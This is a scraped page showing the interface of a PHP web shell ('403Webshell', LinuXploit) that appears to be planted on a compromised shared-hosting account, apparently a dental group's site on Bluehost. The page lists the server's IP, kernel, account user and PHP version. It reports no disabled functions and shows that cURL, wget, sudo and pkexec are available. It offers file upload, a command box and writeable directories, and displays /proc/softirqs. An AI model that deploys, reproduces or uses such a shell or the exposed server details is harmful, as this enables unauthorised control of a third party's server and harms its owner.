403Webshell
Server IP : 162.215.171.210  /  Your IP : 216.73.216.51
Web Server : Apache
System : Linux 162-215-171-210.bluehost.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : swansondentalgro ( 1070)
PHP Version : 8.2.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/softirqs
                    CPU0       CPU1       CPU2       CPU3       CPU4       CPU5       CPU6       CPU7       CPU8       CPU9       CPU10      CPU11      CPU12      CPU13      CPU14      CPU15      
          HI:          1          0          0          0          0          0          0          0          0          0          0          0          0          0          1          0
       TIMER: 2179609149 2925439101  960554252 2870974985 1828004605 1437833993  790835350  126618488  798386019 2766220182  818896919 2824837401  806877822 2754242887  858026754 3432892735
      NET_TX:         42        115         97        155        189         83        138         23        158        115        139        126         99         87        101        114
      NET_RX:  197764296  113912337  217245984  102057734  210856924  118167986  213469675 2653731346  212267539  101675170  219248017  114922277  207051717   95898459  210499999   89474301
       BLOCK:  119014475  153776295   43324881  117956489   14373930   90705882   23945660          0   41089105   51682046   16459862   72424112   29007417  118594859   12989908  325392663
BLOCK_IOPOLL:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
     TASKLET:         29         11         16         31         32          8         26          1         10         19         15         14          9         11         16         11
       SCHED: 2995813989 1237982019 1673247209 1072191208 1508942464 1058799255 1503906386 3701555330 1451511451 1012839352 1474077503 1028384369 1451584389 1010719381 1533935783 1581786734
     HRTIMER:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
         RCU: 3608271856   18828433 2694575837   41631237 3400022571 3096748981 2560908104 1707265698 2542663384 4243831397 2554733278 4278329560 2538731494 4217164715 2575696930  507336230

Youez - 2016 - github.com/yon3zu
LinuXploit